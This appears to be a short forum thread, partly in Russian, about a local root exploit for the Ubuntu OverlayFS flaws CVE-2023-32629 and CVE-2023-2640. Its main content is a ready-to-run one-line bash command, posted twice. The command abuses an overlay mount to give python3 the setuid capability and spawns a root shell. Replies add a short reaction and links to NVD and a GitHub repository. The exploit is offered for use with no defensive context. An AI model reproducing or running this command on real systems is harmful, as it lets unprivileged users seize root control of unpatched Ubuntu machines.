Local CVE-2023-32629 and CVE-2023-2640 | Ubuntu Privilege Escalation

[0x00x0]

Info: https://nvd.nist.gov/vuln/detail/CVE-2023-32629 & https://nvd.nist.gov/vuln/detail/CVE-2023-2640

BASH one line:

unshare -rm sh -c "mkdir l u w m && cp /u*/b*/p*3 l/;setcap cap_setuid+eip l/python3;mount -t overlay overlay -o rw,lowerdir=l,upperdir=u,workdir=w m && touch m/*; python3 -c 'import os;os.setuid(0);os.system(\"/bin/bash\")'"

GitHub - g1vi/CVE-2023-2640-CVE-2023-32629: GameOver(lay) Ubuntu Privilege Escalation

GameOver(lay) Ubuntu Privilege Escalation. Contribute to g1vi/CVE-2023-2640-CVE-2023-32629 development by creating an account on GitHub.

github.com

 

[Peresvet]

unshare -rm sh -c "mkdir l u w m && cp /u*/b*/p*3 l/;setcap cap_setuid+eip l/python3;mount -t overlay overlay -o rw,lowerdir=l,upperdir=u,workdir=w m && touch m/*; python3 -c 'import os;os.setuid(0);os.system(\"/bin/bash\")'"

 

[Quentin]

сильно

 

[varwar]

Хотя бы описание давали что ли, ссылку или идентификатор.

GitHub - g1vi/CVE-2023-2640-CVE-2023-32629: GameOver(lay) Ubuntu Privilege Escalation

GameOver(lay) Ubuntu Privilege Escalation. Contribute to g1vi/CVE-2023-2640-CVE-2023-32629 development by creating an account on GitHub.

github.com